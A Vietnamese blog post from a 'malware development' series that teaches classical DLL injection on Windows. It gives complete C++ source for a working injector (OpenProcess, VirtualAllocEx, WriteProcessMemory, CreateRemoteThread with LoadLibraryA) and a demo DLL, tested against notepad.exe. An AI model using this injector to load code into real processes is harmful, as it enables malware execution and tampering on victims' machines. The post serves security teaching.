## Mở Đầu :rocket: Chào mừng các bạn đến với bài viết thứ hai trong loạt bài về phát triển malware của mình! Trong bài viết này, mình sẽ giới thiệu một trong những kỹ thuật phổ biến nhất trong hacking, đó là Classical DLL Injection. Đây là một kỹ thuật cơ bản và là nền tảng cho nhiều kỹ thuật tấn công nâng cao hơn, vì vậy mình muốn giới thiệu nó đầu tiên. Không vòng vo nữa, bắt đầu ngay bài viết ngay thôi! :smiley: <div style="text-align:center;"> <img src="https://i0.wp.com/24.media.tumblr.com/tumblr_mdn5s0Q7Ht1r66g9jo1_500.gif" alt=""> </div> ## Đôi Chút Lý Thuyết Như ta đã biết, malware thường được cấu tạo từ nhiều thành phần, trong đó, thành phần quan trọng nhất thường là downloader/loader. Nhiệm vụ chính của nó là tải xuống các thành phần bổ sung từ C&C server về máy tính đã bị lây nhiễm. Các thành phần này có thể bao gồm các tập tin thực thi PE hoặc các tập tin DLL, được sử dụng để triển khai quá trình lây nhiễm. Ngoài việc tải các DLL từ C&C server, các DLL cũng có thể được lưu trữ sẵn trong resource section của downloader/loader. :smiling_face_with_smiling_eyes_and_hand_covering_mouth: Nếu thành phần bổ sung được tải về là một tập tin thực thi PE thì việc chạy nó trên máy victim trở nên đơn giản :grin:. Tuy nhiên, nhưng đối với tập tin DLL thì đây lại là một câu chuyện khác. Ta cẩn phải lưu ý rằng tập tin DLL không thể tự chạy độc lập, chúng chỉ có thể chạy khi được nạp bởi một process nào đó trên hệ thống :alien:. ![image](https://hackmd.io/_uploads/SkOK-Dp_p.png) Vì vậy, chúng ta phải tìm cách để nạp các DLL độc hại này vào các process đang chạy trên máy victim. Điều thú vị ở đây là làm thế nào để thực hiện điều này trong khi các process đó không được thiết kế để hỗ trợ chức năng mà chúng ta mong muốn. Hmm, vậy thì chúng ta cần phải thực hiện những bước nào để có thể nạp DLL độc hại vào một process đang chạy, trong khi vẫn giữ nguyên được tính chất cơ bản của process đó? :thinking_face: <div style="text-align:center;"> <img src="https://i.gifer.com/260.gif" alt=""> </div> Trước khi giải đáp câu hỏi trên, ta phải hiểu rõ một số đặc điểm của DLL khi nó được nạp vào bộ nhớ của một process. Có thể bạn đã biết, khi một process nạp một DLL, vị trí của DLL này có thể nằm ở bất kỳ đâu trong không gian bộ nhớ của process đó. Do đó, nếu hai process khác nhau nạp cùng một DLL lên bộ nhớ của nó, địa chỉ của DLL trên hai không gian bộ nhớ sẽ khác nhau. Ví dụ, giả sử chúng ta có hai process là P1 và P2, cả hai đều nạp một DLL có tên là `syaoren.dll`. Trong trường hợp này, process P1 có thể nạp `syaoren.dll` tại địa chỉ 0x800000 trong bộ nhớ của nó, trong khi đó, process P2 có thể nạp DLL này tại địa chỉ 0x900000. Hình minh hoạ dưới đây sẽ giúp bạn hình dung rõ hơn về quá trình này. ![image](https://hackmd.io/_uploads/Syp1-B3uT.png) Tuy nhiên, quy tắc vừa nêu trên chỉ đúng đối với đa số các DLL, và có một số DLL ngoại lệ không tuân theo quy tắc này. Những DLL ngoại lệ thường là những DLL hệ thống của Windows, như `kernel32.dll`, `user32.dll`, `ntdll.dll`, và một số khác. Để hiểu rõ hơn, giả sử chúng ta có ba process là P1, P2 và P3, và tất cả đều sử dụng `kernel32.dll`. Trong trường hợp này, nếu địa chỉ của `kernel32.dll` trên P1 là 0x300000, thì địa chỉ của `kernel32.dll` trên P2 và P3 cũng sẽ là 0x300000. Hình minh họa dưới đây sẽ giúp bạn hình dung rõ hơn về quá trình này. ![image](https://hackmd.io/_uploads/HyVLQShdT.png) Từ ngoại lệ trên, ta có thể suy luận rằng các API nằm trong kernel32.dll luôn có địa chỉ là như nhau trong mọi process đang có trên hệ thống. Ta có thể tận dụng điều này để triển khai kỹ thuật DLL injection, đặc biệt là kỹ thuật classical DLL injection. ## Các bước thực hiện Classical DLL Injection Dựa vào những nhận xét ở phần trên, ta có thể thực hiện kỹ thuật classical DLL injection theo các bước như sau: 1. **Lưu trữ DLL độc hại:** Trước tiên, ta cần lưu DLL độc hại vào đĩa cứng trên máy victim. 2. **Xác định PID của target process:** Sử dụng các API để xác định Process ID (PID) của target process mà ta muốn nạp DLL vào. 3. **Cấp phát bộ nhớ trong không gian địa chỉ của target process:** Sử dụng API `VirtualAllocEx()` để cấp phát bộ nhớ trong không gian địa chỉ của target process. 4. **Ghi đường dẫn DLL vào bộ nhớ target process:** Sử dụng API `WriteProcessMemory()` để sao chép đường dẫn DLL độc hại từ injector process vào bộ nhớ đã cấp phát trong target process.![image](https://hackmd.io/_uploads/rkbAelTOa.png) 5. **Trích xuất địa chỉ của API LoadLibrary() trong injector process:** Sử dụng API `GetProcAddress()` để lấy địa chỉ API `LoadLibrary()` từ thư viện `kernel32.dll` trong injector process. 6. **Gọi hàm CreateRemoteThread():** Sử dụng API `CreateRemoteThread()` để tạo một thread trong target process, khiến cho hàm `LoadLibrary()` chạy trong không gian bộ nhớ của target process. Tham số truyền vào hàm `LoadLibrary()` là địa chỉ của đường dẫn DLL độc hại đã được chuẩn bị ở **bước 4**. ![image](https://hackmd.io/_uploads/BJK_DlT_6.png) ## Triển khai Classical DLL Injection ### :eight_spoked_asterisk: DLL code Về cơ bản, DLL code của ta khi được nạp lên thì sẽ hiển thị một messagebox thôi :grin:. Khi build xong thì mình sẽ lưu trữ DLL này ở đường dẫn `C:\\Users\\kuzan\\Desktop\\InjectedDLL.dll`. ```cpp= #include "framework.h" BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: MessageBoxA(NULL, "We Are Legion !", "SYAOREN", MB_OK); break; case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } ``` ### :eight_spoked_asterisk: Injector code Dưới đây là toàn bộ source code của injector, được triển khai theo các bước đã được trình bày trước đó. Mình tin rằng đây là một source code khá đơn giản và dễ hiểu. :dog: ```cpp= #include<stdio.h> #include<Windows.h> int main(int argc, char** argv) { DWORD dwProcessId = 0, dwWaitState = 0, dwExitCode = 1, cbDLLPath = 0, dwByteWrite = 0, dwThreadId = 0; HMODULE hKernel32 = NULL; HANDLE hTargetProcess = NULL, hRemoteThread = NULL; UINT_PTR uiLoadLibrary = NULL, uiAllocVirAddr = 0; CHAR DLLPath[] = "C:\\Users\\kuzan\\Desktop\\InjectedDLL.dll"; BOOL bStatus = FALSE; // get process id if (2 != argc) { printf("[-] Usage: %s <target process id>\n", argv[0]); goto EXIT; } dwProcessId = atoi(argv[1]); // get target proces handle hTargetProcess = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId ); if (!hTargetProcess) { printf("[-] Failed to get target process handle. \ Exit code = %d\n", GetLastError()); goto EXIT; } // get address of LoadLibrary() hKernel32 = GetModuleHandleA("kernel32.dll"); if (!hKernel32) { printf("[-] Failed to get kernel32.dll module handle. \ Exit code = %d\n", GetLastError()); goto EXIT; } uiLoadLibrary = GetProcAddress(hKernel32, "LoadLibraryA"); if (!uiLoadLibrary) { printf("[-] Failed to get LoadLibrary() address. \ Exit code = %d\n", GetLastError()); goto EXIT; } // allocate virtual memory cbDLLPath = sizeof(DLLPath); uiAllocVirAddr = VirtualAllocEx( hTargetProcess, NULL, cbDLLPath, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE ); if (!uiAllocVirAddr) { printf("[-] Failed to allocate memory. \ Exit code = %d\n", GetLastError()); goto EXIT; } printf("[+] Address of allocated memory: %p\n", uiAllocVirAddr); // write DLL path to allocated memory bStatus = WriteProcessMemory( hTargetProcess, uiAllocVirAddr, DLLPath, cbDLLPath, &dwByteWrite ); if (!bStatus) { printf("[-] Failed to write DLL path to allocated memory. \ Exit code = %d\n", GetLastError()); goto EXIT; } // create remote thread hRemoteThread = CreateRemoteThread( hTargetProcess, NULL, 0, uiLoadLibrary, uiAllocVirAddr, 0, &dwThreadId ); if (!hRemoteThread) { printf("[-] Failed to create remote thread. \ Exit code = %d\n", GetLastError()); goto EXIT; } printf("[+] Create remote thread success\n"); // wait for remote thread dwWaitState = WaitForSingleObject(hRemoteThread, INFINITE); if (WAIT_FAILED == dwWaitState) { printf("[-] Failed to wait for remote thread. \ Exit code = %d\n", GetLastError()); goto EXIT; } printf("[+] Remote thread returned\n"); dwExitCode = 0; EXIT: if (hTargetProcess)CloseHandle(hTargetProcess); if (hKernel32)CloseHandle(hKernel32); if (hRemoteThread)CloseHandle(hRemoteThread); return 0; } ``` Tuy nhiên, có một số điều quan trọng cần lưu ý trong mã nguồn ở phía trên. Dựa trên tài liệu của Microsoft về hàm `CreateRemoteThread()`, họ đã mô tả như sau: > A handle to the process in which the thread is to be created. The handle must have the PROCESS_CREATE_THREAD, PROCESS_QUERY_INFORMATION, PROCESS_VM_OPERATION, PROCESS_VM_WRITE, and PROCESS_VM_READ access rights, and may fail without these rights on certain platforms. For more information, see Process Security and Access Rights. Trích dẫn phía trên có nghĩa rằng khi ta muốn tạo một thread mới cho một process bằng cách sử dụng `CreateRemoteThread()` thì handle của process khi được truyền vào `CreateRemoteThread()` phải có những quyền truy cập nhất định như `PROCESS_CREATE_THREAD`, `PROCESS_QUERY_INFORMATION`, `PROCESS_VM_OPERATION`, `PROCESS_VM_WRITE`, và `PROCESS_VM_READ`. ### :eight_spoked_asterisk: Chạy payload ở phía victim Tới đây thì đơn giản rồi. Ta chỉ cần build DLL, injector và sau đó thử nghiệm nó trên máy victim là được. Ở đây, máy victim ta sử dụng là Windows 10 x64. Khi ta bắt đầu chạy injector, ta truyền tham số là pid của target process, trong trường hợp này là `notepad.exe`. Nếu sau khi chạy injector mà có message box xuất hiện thì điều này chứng tỏ DLL đã được nạp vào bộ nhớ của `notepad.exe`, như được minh họa trong hình dưới đây. ![image](https://hackmd.io/_uploads/HyzBQVadp.png) Để đảm bảo rằng quá trình thực hiện kỹ thuật classical DLL injection đã thành công, mình thực hiện kiểm tra bộ nhớ của `notepad.exe`. Kết quả cho thấy rằng `InjectedDLL.dll` đã được nạp vào bộ nhớ, như minh họa trong hình dưới đây. :alien: ![image](https://hackmd.io/_uploads/HJBuS4a_6.png) ## Kết luận Trong bài viết này, mình đã giới thiệu về kỹ thuật classical DLL injection, một trong những phương pháp cổ điển nhất trong các kỹ thuật DLL injection. Tuy nhiên, hiện nay, kỹ thuật này ít được sử dụng do nó dễ bị phát hiện bởi các chương trình anti virus (AV). Nguyên nhân chính là do việc sử dụng `LoadLibrary()` để tải DLL độc hại sẽ làm tăng khả năng bị chú ý từ các AV. Thêm vào đó, việc lưu trữ DLL độc hại trên đĩa cứng trước khi được tải lên target process cũng làm tăng nguy cơ bị phát hiện bởi các AV. Trong bài viết tiếp theo, mình sẽ giới thiệu về kỹ thuật classical shellcode injection, nó có những tính chất có thể khắc phục được nhược điểm của classical DLL injection. :::warning :zap: Lưu ý rằng, bài viết chỉ mang tính chất giáo dục và không khuyến khích việc sử dụng thông tin để thực hiện các hoạt động xấu hay bất hợp pháp. Nếu có thắc mắc hay ý kiến, đừng ngần ngại chia sẻ với mình để làm cho bài viết trở nên tốt hơn. :heart_eyes: ::: ## Tham khảo Dưới đây là một số tài liệu rất hay mà mình đã tham khảo: * [https://malfind.com/index.php/2020/04/20/revisiting-code-injection-1-classic-dll-injection/](https://malfind.com/index.php/2020/04/20/revisiting-code-injection-1-classic-dll-injection/) * [https://cocomelonc.github.io/tutorial/2021/09/20/malware-injection-2.html](https://cocomelonc.github.io/tutorial/2021/09/20/malware-injection-2.html)